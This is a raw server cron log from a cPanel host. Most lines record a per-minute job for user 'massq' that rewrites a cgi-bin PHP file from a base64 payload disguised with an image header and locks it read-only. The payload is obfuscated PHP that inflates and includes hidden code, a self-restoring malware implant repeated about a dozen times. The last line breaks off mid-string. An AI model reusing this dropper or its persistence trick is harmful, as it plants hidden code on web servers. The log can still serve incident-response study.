Apr 10 12:40:01 server CROND[19408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:40:01 server CROND[19409]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 12:41:01 server CROND[19523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:42:01 server CROND[19588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:42:01 server CROND[19589]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 12:43:01 server CROND[19654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:44:01 server CROND[19702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:45:01 server CROND[19873]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 12:45:01 server CROND[19874]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 12:45:01 server CROND[19875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:46:01 server CROND[19988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:47:01 server CROND[20050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:48:01 server CROND[20128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:49:01 server CROND[20205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:50:01 server CROND[20377]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 12:50:01 server CROND[20378]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 12:50:01 server CROND[20379]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 12:50:01 server CROND[20380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:50:01 server CROND[20382]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 12:51:01 server CROND[20502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:52:01 server CROND[20580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:53:01 server CROND[20661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQK